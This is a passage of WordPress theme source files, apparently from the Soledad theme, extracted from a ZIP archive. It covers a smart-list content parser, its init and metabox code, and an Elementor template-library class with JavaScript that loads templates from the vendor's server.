			$this->list_penci_end_smartlists = true;

			return true;
		} else {
			return false;
		}
	}

	private function is_content_before_smart_list( $token ) {
		if ( ( $this->list_title_is_open === true or ! empty( $this->current_list_item['title'] ) ) and $this->list_penci_end_smartlists === false ) {
			return false;

		} else {
			$this->buffy['before_list'][] = $token;

			return true;

		}
	}

	private function is_content_after_smart_list( $token ) {
		if ( $this->list_penci_end_smartlists === true ) {
			$this->buffy['after_list'][] = $token;

			return true;

		} else {
			return false;
		}
	}

	private function is_first_image( $token ) {
		if ( ! empty( $this->current_list_item['first_img_id'] ) ) {
			return false;
		}


		$matches = array();
		preg_match( '/wp-image-([0-9]+)/', $token, $matches );

		if ( ! empty( $matches[1] ) ) {

			$tmp_description = $this->extract_description_from_first_image( $token );

			if ( $tmp_description != '' ) {
				$this->current_list_item['description'] .= $tmp_description;
			}


			$this->current_list_item['first_img_id']          = $this->get_image_id_from_token( $token );
			$this->current_list_item['first_img_link']        = $this->get_image_link_from_token( $token );
			$this->current_list_item['first_img_link_target'] = $this->get_image_link_target_from_token( $token );
			$this->current_list_item['first_img_caption']     = $this->get_caption_from_token( $token );

			return true;
		} else {
			return false;
		}
	}

	private function extract_description_from_first_image( $token ) {
		$matches = array();
		$content = '';


		if ( strpos( $token, '<figure' ) !== false ) {
			return '';
		}


		preg_match_all( '/<a.*\/a>/U', $token, $matches ); //extract all links
		if ( ! empty( $matches[0] ) and is_array( $matches[0] ) ) {
			foreach ( $matches[0] as $match ) {
				if ( strpos( $match, '<img' ) !== false ) {
					$special_chars = array( "(", ")", "^", "$", "|", "?", "*", "+", "{", "}" );
					foreach ( $special_chars as $char ) {
						$escaped_char = '\\' . $char;
						$match        = str_replace( $char, $escaped_char, $match );
					}
					$content = preg_replace( '/' . $this->fix_regex( $match ) . '/', '', $token, 1 );
					break;
				}
			}
		}

		if ( $content == '' ) {
			$matches = array();
			preg_match( '/<img.*\/>/U', $token, $matches ); //extract first image
			if ( ! empty( $matches[0] ) ) {
				$special_chars = array( "(", ")", "^", "$", "|", "?", "*", "+", "{", "}" );
				$char_count    = 0;
				foreach ( $special_chars as $char ) {
					$escaped_char = '\\' . $char;
					if ( $char_count == 0 ) {
						$input_regex = str_replace( $char, $escaped_char, $matches[0] );
						$char_count ++;
					} else {
						$input_regex = str_replace( $char, $escaped_char, $input_regex );
					}
				}
				$content = preg_replace( '/' . $this->fix_regex( $input_regex ) . '/', '', $token, 1 );
			}
		}

		$content = trim( $content );

		return $content;
	}


	private function is_description( $token ) {
		if ( ! empty( $this->current_list_item['title'] ) and $this->list_penci_end_smartlists === false ) {
			$this->current_list_item['description'] .= $token;

			return true;
		} else {
			return false;
		}
	}


	private function get_image_id_from_token( $token ) {
		$matches = array();
		preg_match( '/wp-image-([0-9]+)/', $token, $matches );
		if ( ! empty( $matches[1] ) ) {
			return $matches[1];
		} else {
			return '';
		}
	}

	private function get_image_url_from_token( $token ) {
		$matches = array();
		$return  = '';
		preg_match( '/<img.+src=[\'"](?P<src>.+?)[\'"].*>/i', $token, $matches );
		if ( ! empty( $matches['src'] ) ) {
			$return = $matches['src'];
		}

		return $return;
	}


	private function get_image_link_from_token( $token ) {
		$matches = array();

		if ( strpos( $token, '</figcaption>' ) !== false ) {
			preg_match( '/<figure(.*)href="([^\\"]+)(.*)<figcaption/', $token, $matches );
			if ( ! empty( $matches[2] ) ) {
				return $matches[2];
			} else {
				return '';
			}
		}

		preg_match( '/href="([^\\"]+)"/', $token, $matches );
		if ( ! empty( $matches[1] ) ) {
			return $matches[1];
		} else {
			return '';
		}
	}


	private function get_image_link_target_from_token( $token ) {
		$matches = array();
		preg_match( '/target="([^\\"]+)"/', $token, $matches );
		if ( ! empty( $matches[1] ) ) {
			return 'target="' . $matches[1] . '"';
		} else {
			return '';
		}
	}


	private function get_caption_from_token( $token ) {
		$matches = $matches2 = array();
		preg_match( '/<figcaption[^<>]*>(.*)<\/figcaption>/', $token, $matches );
		preg_match( '/<p id="caption-attachment-[^<>]*>(.*)<\/p>/', $token, $matches2 );
		if ( ! empty( $matches[1] ) ) {
			return $matches[1];
		} else if ( ! empty( $matches2[1] ) ) {
			return $matches2[1];
		} else {
			return '';
		}
	}

	private function fix_regex( $input_regex ) {
		$input_regex = str_replace( '/', '\/', $input_regex );
		$input_regex = str_replace( ']', '\]', $input_regex );
		$input_regex = str_replace( '[', '\[', $input_regex );

		return $input_regex;
	}


}
PK     N\֏T      inc/smartlists/init.phpnu [        <?php
require_once( PENCI_SOLEDAD_DIR . '/inc/smartlists/class_penci_splitter.php' );
require_once( PENCI_SOLEDAD_DIR . '/inc/smartlists/class_penci_smartlists.php' );
require_once( PENCI_SOLEDAD_DIR . '/inc/smartlists/metabox.php' );

if ( ! function_exists( 'penci_smartlists' ) ) {
	function penci_smartlists( $args ) {
		$default = [
			'style'               => 1,
			'content'             => '',
			'order'               => '',
			'h'                   => 'h3',
			'extract_first_image' => true,
			'sm_title_tag'        => 'h3',
			'sm_ad'               => get_theme_mod( 'penci_ads_inside_content_html' ),
			'first_image_size'    => '',
			'first_image_msize'   => '',
			'disablelazy'         => get_theme_mod( 'penci_disable_lazyload_single' )
		];

		$content  = '';
		$settings = wp_parse_args( $args, $default );

		if ( empty( $settings['style'] ) ) {
			$settings['style'] = get_theme_mod( 'penci_single_smartlists_style', 1 );
		}

		$smart_lists_template = PENCI_SOLEDAD_DIR . '/inc/smartlists/templates/penci_smartlists_' . esc_attr( $settings['style'] ) . '.php';
		if ( file_exists( $smart_lists_template ) ) {
			require_once $smart_lists_template;
		}
		$smart_list_class = 'Penci_SmartLists_Style_' . esc_attr( $settings['style'] );

		if ( class_exists( $smart_list_class ) ) {

			$smart_list_obj      = new $smart_list_class( $settings );
			$smart_list_settings = [
				'post_content'        => $settings['content'],
				'counting_order_asc'  => $settings['order'] == 'asc',
				'penci_smart_list_h'  => $settings['h'],
				'extract_first_image' => $settings['extract_first_image'],
			];

			$content = $smart_list_obj->get_content( $smart_list_settings );
		}

		return $content;
	}
}

if ( ! function_exists( 'penci_smartlists_add_query' ) ) {
	function penci_smartlists_add_query( $vars ) {
		$vars[] = 'list';

		return $vars;
	}

	add_filter( 'query_vars', 'penci_smartlists_add_query' );
}

if ( ! function_exists( 'penci_smartlists_custom_css' ) ) {
	add_action( 'soledad_theme/custom_css', 'penci_smartlists_custom_css' );
	function penci_smartlists_custom_css() {
		$should_render = false;

		if ( is_singular() && 'yes' == get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true ) ) {
			$should_render = true;
		}

		if ( ! $should_render ) {
			return;
		}

		$custom_css = '';

		$general_style = [
			'penci_sml_heading_cl'           => [
				'.pcsml-el.pcsml-customized-ver .pcsml-title-wrapper .pcsml-item-title,.pcsml-el.pcsml-customized-ver .pcsml-item-title' => 'color:{{VALUE}};'
			],
			'penci_sml_number_cl'            => [
				'.pcsml-el.pcsml-customized-ver .pcsml-item-number span' => 'background-color:{{VALUE}};'
			],
			'penci_sml_number_bcl'           => [
				'.pcsml-el.pcsml-customized-ver .pcsml-item-number span' => 'border:1px solid {{VALUE}};'
			],
			'penci_sml_desc_cl'              => [
				'.pcsml-el.pcsml-customized-ver .pcsml-desc' => 'color:{{VALUE}};'
			],
			'penci_sml_btn_cl'               => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'color:{{VALUE}};'
			],
			'penci_sml_btn_bgcl'             => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'background-color:{{VALUE}};'
			],
			'penci_sml_btn_bdcl'             => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'border:1px solid {{VALUE}};'
			],
			'penci_sml_btn_hcl'              => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button:hover' => 'color:{{VALUE}};'
			],
			'penci_sml_btn_bghcl'            => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button:hover' => 'background-color:{{VALUE}};'
			],
			'penci_sml_btn_bdhcl'            => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button:hover' => 'border:1px solid {{VALUE}};'
			],
			'penci_sml_nav_bgcl'             => [
				'.pcsml-el.pcsml-customized-ver .pcsml-dropdown-wrap, .pcsml-el.pcsml-customized-ver .pcsml-dropdown-wrap .pcsml-dropdown' => 'background-color:{{VALUE}};'
			],
			'penci_sml_nav_bdcl'             => [
				'.pcsml-el.pcsml-customized-ver .pcsml_style_6' => '--pcborder-cl:{{VALUE}};'
			],
			'penci_smartlists_inumber_fsize' => [
				'.pcsml-el.pcsml-customized-ver .pcsml-item-number span' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_heading_fsize' => [
				'.pcsml-el.pcsml-customized-ver .pcsml-title-wrapper .pcsml-item-title' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_text_fsize'    => [
				'.pcsml-el.pcsml-customized-ver .pcsml-desc,.pcsml-el.pcsml-customized-ver .pcsml-desc p' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_btn_fsize'     => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'font-size:{{VALUE}}px',
			]
		];

		$mobile_style = [
			'penci_smartlists_heading_mfsize' => [
				'.pcsml-el.pcsml-customized-ver .pcsml-title-wrapper .pcsml-item-title' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_text_mfsize'    => [
				'.pcsml-el.pcsml-customized-ver .pcsml-desc, .pcsml-el.pcsml-customized-ver .pcsml-desc p' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_btn_mfsize'     => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'font-size:{{VALUE}}px',
			]
		];

		foreach ( $general_style as $mod => $props ) {
			$value = get_theme_mod( $mod );

			if ( $value ) {
				foreach ( $props as $selector => $val ) {
					$custom_css .= $selector . '{' . str_replace( '{{VALUE}}', $value, $val ) . '}';
				}
			}

		}

		foreach ( $mobile_style as $mod => $props ) {
			$value = get_theme_mod( $mod );

			if ( $value ) {
				foreach ( $props as $selector => $val ) {
					$custom_css .= '@media only screen and (max-width: 767px) {' . $selector . '{' . str_replace( '{{VALUE}}', $value, $val ) . '}}';
				}
			}

		}

		$spacing = get_post_meta( get_the_ID(), 'pcsml_smartlists_spacing', true );

		if ( ! empty( $spacing ) ) {
			$custom_css .= '.pcsml-el.pcsml-customized-ver .pcsml-item:not(:last-child){ margin-bottom: ' . $spacing . ';padding: 0 0 ' . $spacing . '; }';
		}

		echo $custom_css;

	}
}
if ( ! function_exists( 'penci_remove_shortcode_trigger_on_specific_pages' ) ) {
	function penci_remove_shortcode_trigger_on_specific_pages( $output, $tag, $attr ) {

		// page ids where we want to remove shortcodes
		$smartlists_enable = get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true );

		if ( $smartlists_enable ) {

			// array of shortcode tags to be removed.
			$shortcodes_to_remove = array( 'inline_related_posts', 'penci_index', 'penci_recipe', 'portfolio' );
			foreach ( $shortcodes_to_remove as $shortcode_tag ) {
				if ( $shortcode_tag == $tag ) {
					$output = '';
				}
			}
		}

		return $output;

	}

	add_filter( 'do_shortcode_tag', 'penci_remove_shortcode_trigger_on_specific_pages', 20, 3 );
}

if ( ! function_exists( 'penci_remove_smartlist_shortcode' ) ) {
	add_filter( 'the_content', 'penci_remove_smartlist_shortcode', 100, 1 );
	function penci_remove_smartlist_shortcode( $content ) {

		// page ids where we want to remove shortcodes
		$smartlists_enable = get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true );

		if ( ! $smartlists_enable ) {
			$content = str_replace( '[penci_end_smartlists]', '', $content );
		}

		return $content;

	}
}PK     N\a!  !    inc/smartlists/metabox.phpnu [        <?php
function Penci_SmartLists_Custom_Metabox() {
	new Penci_SmartLists_Add_Custom_Metabox_Class();
}

if ( is_admin() ) {
	add_action( 'load-post.php', 'Penci_SmartLists_Custom_Metabox' );
	add_action( 'load-post-new.php', 'Penci_SmartLists_Custom_Metabox' );
}

/**
 * The Class.
 */
class Penci_SmartLists_Add_Custom_Metabox_Class {

	/**
	 * Hook into the appropriate actions when the class is constructed.
	 */
	public function __construct() {
		add_action( 'add_meta_boxes', array( $this, 'add_meta_box' ) );
		add_action( 'save_post', array( $this, 'save' ) );
	}

	/**
	 * Adds the meta box container.
	 */
	public function add_meta_box( $post_type ) {
		$post_types = [ 'post' ];
		if ( in_array( $post_type, $post_types ) ) {
			add_meta_box(
				'penci_smartlists_meta'
				, esc_html__( 'Smart Lists Settings For This Post', 'soledad' )
				, array( $this, 'render_meta_box_content' )
				, $post_type
				, 'advanced'
				, 'default'
			);
		}
	}

	/**
	 * Save the meta when the post is saved.
	 *
	 * @param int $post_id The ID of the post being saved.
	 */
	public function save( $post_id ) {

		/*
		 * We need to verify this came from the our screen and with proper authorization,
		 * because save_post can be triggered at other times.
		 */

		// Check if our nonce is set.
		if ( ! isset( $_POST['penci_smartlists_custom_box_nonce'] ) ) {
			return $post_id;
		}

		$nonce = $_POST['penci_smartlists_custom_box_nonce'];

		// Verify that the nonce is valid.
		if ( ! wp_verify_nonce( $nonce, 'penci_smartlists_custom_box' ) ) {
			return $post_id;
		}

		// If this is an autosave, our form has not been submitted,
		//     so we don't want to do anything.
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $post_id;
		}

		// Check the user's permissions.
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return $post_id;
		}

		// Update the meta field.
		if ( isset( $_POST['pcsml_smartlists_enable'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_enable', $_POST['pcsml_smartlists_enable'] );
		}
		if ( isset( $_POST['pcsml_smartlists_style'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_style', $_POST['pcsml_smartlists_style'] );
		}
		if ( isset( $_POST['pcsml_smartlists_h'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_h', $_POST['pcsml_smartlists_h'] );
		}
		if ( isset( $_POST['pcsml_smartlists_order'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_order', $_POST['pcsml_smartlists_order'] );
		}
		if ( isset( $_POST['pcsml_smartlists_spacing'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_spacing', $_POST['pcsml_smartlists_spacing'] );
		}
	}


	/**
	 * Render Meta Box content.
	 *
	 * @param WP_Post $post The post object.
	 */
	public function render_meta_box_content( $post ) {

		// Add an nonce field so we can check for it later.
		wp_nonce_field( 'penci_smartlists_custom_box', 'penci_smartlists_custom_box_nonce' );

		// Use get_post_meta to retrieve an existing value from the database.
		$smartlists_enable  = get_post_meta( $post->ID, 'pcsml_smartlists_enable', true );
		$smartlists_style   = get_post_meta( $post->ID, 'pcsml_smartlists_style', true );
		$smartlists_h       = get_post_meta( $post->ID, 'pcsml_smartlists_h', true );
		$smartlists_order   = get_post_meta( $post->ID, 'pcsml_smartlists_order', true );
		$smartlists_spacing = get_post_meta( $post->ID, 'pcsml_smartlists_spacing', true );

		if ( empty( $smartlists_h ) ) {
			$smartlists_h = 'h3';
		}

		// Display the form, using the current value.
		?>

        <div class="penci-table-meta">
            <h3>Transform your post into a Smart List format.</h3>
            <p>1. You can add custom content after the Smart Lists by using the following shortcode at the end of the last item:
                <strong
                        class="penci-smartlists-shortcode">[penci_end_smartlists]</strong></p>
            <p>2. Go to <strong>Appearance > Customize > Single Posts > Colors</strong> and <strong>Appearance >
                    Customize > Single Posts > Font Sizes</strong> to customize the Smart Lists Colors & Styles.</p>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_enable" class="penci-format-row">Enable Smart Lists
                        for
                        This Post:</label>
                </div>
                <div class="pcmt-control">
                    <select id="pcsml_smartlists_enable" name="pcsml_smartlists_enable">
                        <option value="" <?php selected( '', $smartlists_enable ); ?>>Disable</option>
                        <option value="yes" <?php selected( 'yes', $smartlists_enable ); ?>>Enable</option>
                    </select>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_style" class="penci-format-row">Smart Lists
                        Style:</label>
                    <p>Change the Default Style at <strong>Appearance > Customize > Single Posts > Default Smart Lists
                            Style.</strong></p>
                </div>
                <div class="pcmt-control">
                    <select id="pcsml_smartlists_style" name="pcsml_smartlists_style">
                        <option value="" <?php selected( '', $smartlists_style ); ?>>Default Customizer Settings
                        </option>
                        <option value="1" <?php selected( '1', $smartlists_style ); ?>>Style 1</option>
                        <option value="2" <?php selected( '2', $smartlists_style ); ?>>Style 2</option>
                        <option value="3" <?php selected( '3', $smartlists_style ); ?>>Style 3</option>
                        <option value="4" <?php selected( '4', $smartlists_style ); ?>>Style 4</option>
                        <option value="5" <?php selected( '5', $smartlists_style ); ?>>Style 5</option>
                        <option value="6" <?php selected( '6', $smartlists_style ); ?>>Style 6</option>
                    </select>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_h" class="penci-format-row">Smart List Content
                        Break from:</label>
                </div>
                <div class="pcmt-control">
                    <select id="pcsml_smartlists_h" name="pcsml_smartlists_h">
                        <option value="h1" <?php selected( 'h1', $smartlists_h ); ?>>Heading 1</option>
                        <option value="h2" <?php selected( 'h2', $smartlists_h ); ?>>Heading 2</option>
                        <option value="h3" <?php selected( 'h3', $smartlists_h ); ?>>Heading 3</option>
                        <option value="h4" <?php selected( 'h4', $smartlists_h ); ?>>Heading 4</option>
                        <option value="h5" <?php selected( 'h5', $smartlists_h ); ?>>Heading 5</option>
                        <option value="h6" <?php selected( 'h6', $smartlists_h ); ?>>Heading 6</option>
                    </select>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_order" class="penci-format-row">Smart List Number
                        Ordered:</label>
                    <p>Apply to <strong>Style 1, Style 2</strong> and <strong>Style 3</strong></p>
                </div>
                <div class="pcmt-control">
                    <select id="pcsml_smartlists_order" name="pcsml_smartlists_order">
                        <option value="desc" <?php selected( 'desc', $smartlists_order ); ?>>Descending</option>
                        <option value="asc" <?php selected( 'asc', $smartlists_order ); ?>>Ascending</option>
                    </select>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_spacing" class="penci-format-row">Smart List Spacing
                        Between Items:</label>
                </div>
                <div class="pcmt-control">
                    <input placeholder="For example: 10px" type="text" id="pcsml_smartlists_spacing"
                           name="pcsml_smartlists_spacing" value="<?php echo esc_attr( $smartlists_spacing ); ?>">
                </div>
            </div>
        </div>
		<?php
	}
}
PK     N\#p#  #  "  inc/blocks/class-penci-library.phpnu [        <?php
class Penci_Library {
	public function __construct() {
		$this->hooks();
		$this->register_templates_source();
	}

	public function hooks() {
		add_action( 'elementor/editor/after_enqueue_scripts', array( $this, 'enqueue' ) );
		add_action( 'elementor/editor/footer', array( $this, 'render' ) );
		add_action( 'elementor/preview/enqueue_styles', array( $this, 'inline_styles' ) );
		add_action( 'wp_ajax_penci_import_library_template', [ $this, 'import_library_template' ] );
	}

	public function import_library_template() {

		$source  = new Penci_Library_Source();
		$slug    = isset( $_POST['template_id'] ) ? sanitize_text_field( wp_unslash( $_POST['template_id'] ) ) : '';
		$kit     = isset( $_POST['kit'] ) ? sanitize_text_field( wp_unslash( $_POST['kit'] ) ) : '';
		$section = isset( $_POST['section'] ) ? sanitize_text_field( wp_unslash( $_POST['section'] ) ) : '';

		$data = $source->get_data( [
			'template_id' => $slug,
			'kit_id'      => $kit,
			'section_id'  => $section
		] );

		wp_send_json_success( $data );
	}

	public function inline_styles() {
		?>
        <style>
            .elementor-editor-active .elementor-add-section-area-button.penci-library-modal-btn:hover,
            .elementor-add-section-area-button.penci-library-modal-btn:hover, .penci-library-modal-btn:hover {
                background: #6eb48c;
                opacity: 0.7
            }
            .elementor-editor-active .elementor-add-section-area-button.penci-library-modal-btn,
            .elementor-add-section-area-button.penci-library-modal-btn, 
            .penci-library-modal-btn {
                margin-left: 5px;
                background: #6eb48c;
                vertical-align: top;
                font-size: 0 !important;
            }
            .penci-library-modal-btn:before {
                content: '';
                width: 16px;
                height: 16px;
                background-image: url('<?php echo PENCI_SOLEDAD_URL . '/images/penci-icon.png';?>');
                background-position: center;
                background-size: contain;
                background-repeat: no-repeat;
            }
            #penci-library-modal .penci-elementor-template-library-template-name {
                text-align: right;
                flex: 1 0 0%;
            }</style>
		<?php
	}

	public function register_templates_source() {
		Elementor\Plugin::instance()->templates_manager->register_source( 'Penci_Library_Source' );
	}

	public function enqueue() {
		wp_enqueue_script( 'penci-blocks', PENCI_SOLEDAD_URL . '/inc/blocks/assets/js/blocks-templates.js', array( 'jquery' ), '1.0.1', true );
	}

	public function render() {
		?>
        <script type="text/html" id="tmpl-elementor-penci-library-modal-header">
            <div class="elementor-templates-modal__header">
                <div class="elementor-templates-modal__header__logo-area">
                    <div class="elementor-templates-modal__header__logo">
						<span class="elementor-templates-modal__header__logo__title">
							Penci Blocks/Templates
						</span>
                    </div>
                </div>

                <div class="elementor-templates-modal__header__menu-area">
                    <div id="elementor-penci-library-header-menu">
                        <div id="penci-tab-block"
                             class="elementor-component-tab elementor-template-library-menu-item elementor-active"
                             data-tab="block">Blocks
                        </div>
                        <div id="penci-tab-template"
                             class="elementor-component-tab elementor-template-library-menu-item" data-tab="template">
                            Templates
                        </div>
                    </div>
                </div>

                <div class="elementor-templates-modal__header__items-area">
                    <div class="elementor-templates-modal__header__close elementor-templates-modal__header__close--normal elementor-templates-modal__header__item">
                        <i class="eicon-close" aria-hidden="true"
                           title="<?php echo esc_html__( 'Close', 'penci' ); ?>"></i>

                        <span class="elementor-screen-only">
							<?php echo esc_html__( 'Close', 'penci' ); ?>
						</span>
                    </div>
                </div>
            </div>
        </script>

        <script type="text/html" id="tmpl-elementor-penci-library-modal-order">
            <div id="elementor-template-library-filter">
                <select id="elementor-template-library-filter-subtype" class="elementor-template-library-filter-select"
                        data-elementor-filter="subtype">
                    <option value="all"><?php echo esc_html__( 'All', 'penci' ); ?></option>
                    <# data.tags.forEach(function(item, i) { #>
                    <option value="{{{item.slug}}}">{{{item.title}}}</option>
                    <# }); #>
                </select>
            </div>
        </script>

        <script type="text/template" id="tmpl-elementor-penci-library-header-menu">
            <# jQuery.each( tabs, ( tab, args ) => { #>
            <div class="elementor-component-tab elementor-template-library-menu-item" data-tab="{{{ tab }}}">{{{
                args.title }}}
            </div>
            <# } ); #>
        </script>

        <script type="text/html" id="tmpl-elementor-penci-library-modal">
            <div id="elementor-template-library-templates" data-template-source="remote">
                <div id="elementor-template-library-toolbar">
                    <div id="elementor-template-library-filter-toolbar-remote"
                         class="elementor-template-library-filter-toolbar"></div>

                    <div id="elementor-template-library-filter-text-wrapper">
                        <label for="elementor-template-library-filter-text"
                               class="elementor-screen-only"><?php echo esc_html__( 'Search Templates:', 'penci' ); ?></label>
                        <input id="elementor-template-library-filter-text"
                               placeholder="<?php echo esc_attr__( 'Search', 'penci' ); ?>">
                        <i class="eicon-search"></i>
                    </div>
                </div>

                <div id="elementor-template-library-templates-container"></div>

                <div id="elementor-template-library-footer-banner">
                    <img class="elementor-nerd-box-icon"
                         src="<?php echo get_bloginfo( 'url' ); ?>/wp-content/plugins/elementor/assets/images/information.svg">
                    <div class="elementor-excerpt">Stay tuned! More awesome templates coming real soon.</div>
                </div>
            </div>

            <div class="elementor-loader-wrapper" style="display: none">
                <div class="elementor-loader">
                    <div class="elementor-loader-boxes">
                        <div class="elementor-loader-box"></div>
                        <div class="elementor-loader-box"></div>
                        <div class="elementor-loader-box"></div>
                        <div class="elementor-loader-box"></div>
                    </div>
                </div>
                <div class="elementor-loading-title"><?php echo esc_html__( 'Loading', 'penci' ); ?></div>
            </div>
        </script>

        <script type="text/html" id="tmpl-elementor-penci-library-modal-item">
            <# data.elements.forEach(function(item, i) { #>

            <div class="elementor-template-library-template elementor-template-library-template-remote elementor-template-library-template-{{{item.type === 'template' ? 'page' : 'block'}}}"
                 data-slug="{{{item.slug}}}" data-tag="{{{item.class}}}" data-type="{{{item.type}}}">

                <div class="elementor-template-library-template-body">
                    <# if (item.type === 'block') { #>
                    <img src="{{{item.image}}}">
                    <# } else { #>
                    <div class="elementor-template-library-template-screenshot"
                         style="background-image: url({{{item.image}}})"></div>
                    <# } #>

                    <a class="elementor-template-library-template-preview" href="{{{item.link}}}" target="_blank">
                        <i class="eicon-zoom-in-bold" aria-hidden="true"></i>
                    </a>
                </div>

                <div class="elementor-template-library-template-footer">
                    <a class="elementor-template-library-template-action elementor-template-library-template-insert elementor-button"
                       data-id="{{{item.id}}}">
                        <i class="eicon-file-download" aria-hidden="true"></i>
                        <span class="elementor-button-title">Insert</span>
                    </a>
                    <div class="penci-elementor-template-library-template-name">{{{item.title}}}</div>
                </div>
            </div>
            <# }); #>
        </script>
		<?php
	}
}
PK     N\`'J  J  (  inc/blocks/assets/js/blocks-templates.jsnu [        'use strict';

(($) => {
	if (typeof elementor === 'undefined' || typeof elementorCommon === 'undefined') {
		return;
	}

	elementor.on('preview:loaded', () => {
		let dialog = null;
		// Add Penci Template button
		let buttons = $('#tmpl-elementor-add-section');

		const text = buttons.text().replace(
			'<div class="elementor-add-section-drag-title',
			'<div class="elementor-add-section-area-button penci-library-modal-btn" title="Penci Templates">Penci Templates</div><div class="elementor-add-section-drag-title'
		);

		buttons.text(text);

		// Call modal.
		$(elementor.$previewContents[0].body).on('click', '.penci-library-modal-btn', () => {
			if (dialog) {
				dialog.show();
				return;
			}

			var modalOptions = {
				id: 'penci-library-modal',
				headerMessage: $('#tmpl-elementor-penci-library-modal-header').html(),
				message: $('#tmpl-elementor-penci-library-modal').html(),
				className: 'elementor-templates-modal',
				closeButton: true,
				draggable: false,
				hide: {
					onOutsideClick: true,
					onEscKeyPress: true
				},
				position: {
					my: 'center',
					at: 'center'
				}
			};
			dialog = elementorCommon.dialogsManager.createWidget('lightbox', modalOptions);
			dialog.show();

			loadTemplates();
		});

		// Load items.
		function loadTemplates() {
			showLoader();

			$.ajax({
				url: 'https://library.pencidesign.net/wp-json/penci-blocks/v1/templates',
				method: 'GET',
				dataType: 'json',
				success: function (response) {
					if (response && response.elements) {
						var itemTemplate = wp.template('elementor-penci-library-modal-item');
						var itemOrderTemplate = wp.template('elementor-penci-library-modal-order');

						$(itemTemplate(response)).appendTo($('#penci-library-modal #elementor-template-library-templates-container'));
						$(itemOrderTemplate(response)).appendTo($('#penci-library-modal #elementor-template-library-filter-toolbar-remote'));

						importTemplate();
						hideLoader();
					} else {
						$('<div class="penci-notice penci-error">The library can\'t be loaded from the server.</div>').appendTo($('#penci-library-modal #elementor-template-library-templates-container'));
						hideLoader();
					}
				},
				error: function () {
					$('<div class="penci-notice penci-error">The library can\'t be loaded from the server.</div>').appendTo($('#penci-library-modal #elementor-template-library-templates-container'));
					hideLoader();
				}
			});
		}

		function showLoader() {
			$('#penci-library-modal #elementor-template-library-templates').hide();
			$('#penci-library-modal .elementor-loader-wrapper').show();
		}

		function hideLoader() {
			$('#penci-library-modal #elementor-template-library-templates').show();
			$('#penci-library-modal .elementor-loader-wrapper').hide();
		}

		function activateUpdateButton() {
			$('#elementor-panel-saver-button-publish').toggleClass('elementor-disabled');
			$('#elementor-panel-saver-button-save-options').toggleClass('elementor-disabled');
		}

		function importTemplate() {
			$('#penci-library-modal .elementor-template-library-template-insert').on('click', function () {
				showLoader();

				$.ajax({
                    type: "POST",
                    dataType: "html",
                    url: ajaxurl,
                    data: {
						action: 'penci_import_library_template',
						source: 'penci',
						edit_mode: true,
						display: true,
						check_permissions: false,
						template_id: $(this).data('id'),
						with_page_settings: false
					},
					success: function success(res) {
						res = JSON.parse(res);
						if (res.data && res.data.content) {
							elementor.getPreviewView().addChildModel(res.data.content);
							dialog.hide();
							setTimeout(function () {
								hideLoader();
							}, 2000);
							activateUpdateButton();
						} else {
							$('<div class="penci-notice penci-error">The element can\'t be loaded from the server.</div>').prependTo($('#penci-library-modal #elementor-template-library-templates-container'));
							hideLoader();
						}
					},
					error: function () {
						$('<div class="penci-notice penci-error">The element can\'t be loaded from the server.</div>').prependTo($('#penci-library-modal #elementor-template-library-templates-container'));
						hideLoader();
					}
				});
			});

			$('#penci-library-modal .elementor-templates-modal__header__close').on('click', () => {
				dialog.hide();
				hideLoader();
			});

			$('#penci-library-modal #elementor-template-library-filter-text').on('keyup', function () {
				var search = $(this).val().toLowerCase();
				var activeTab = document.querySelector('#elementor-penci-library-header-menu .elementor-active').getAttribute('data-tab');

				$('#penci-library-modal').find('.elementor-template-library-template').each(function () {
					const $this = $(this);
					let slug = $this.data('slug');
					const type = $this.data('type');

					// Remove - from slug
					slug = slug.replaceAll('-', ' ');
					slug = slug.replaceAll('_', ' ');
					
					if (slug.includes(search) && type.includes(activeTab)) {
						$this.show();
					} else {
						$this.hide();
					}
				});
			});

			// Filter by tag
			$('#penci-library-modal #elementor-template-library-filter-subtype').on('change', function () {
				var tag = $(this).val();

				$('#penci-library-modal').find('.elementor-template-library-template').each(function () {
					var $this = $(this);

					const itemTags = $this.data('tag').toLowerCase();
					if ((itemTags.includes(tag) || tag === 'all') && itemTags.includes('block')) {
						$this.show();
					} else {
						$this.hide();
					}
				});
			});

			function setActiveTab (tab) {
				$('#penci-library-modal .elementor-template-library-menu-item').removeClass('elementor-active');
				const activeTab = $('#penci-tab-' + tab);
				activeTab.addClass('elementor-active');

				document.querySelectorAll('#penci-library-modal .elementor-template-library-template').forEach(e => {
					const type = e.getAttribute('data-type');
					e.style.display = type === tab ? 'block' : 'none';
					
					if (tab === 'template') {
						$('#elementor-template-library-filter').hide();
					} else {
						$('#elementor-template-library-filter').show();
					}
				});
			}

			setActiveTab('block');

			// Filter by type
			$('#penci-library-modal .elementor-template-library-menu-item').on('click', function () {
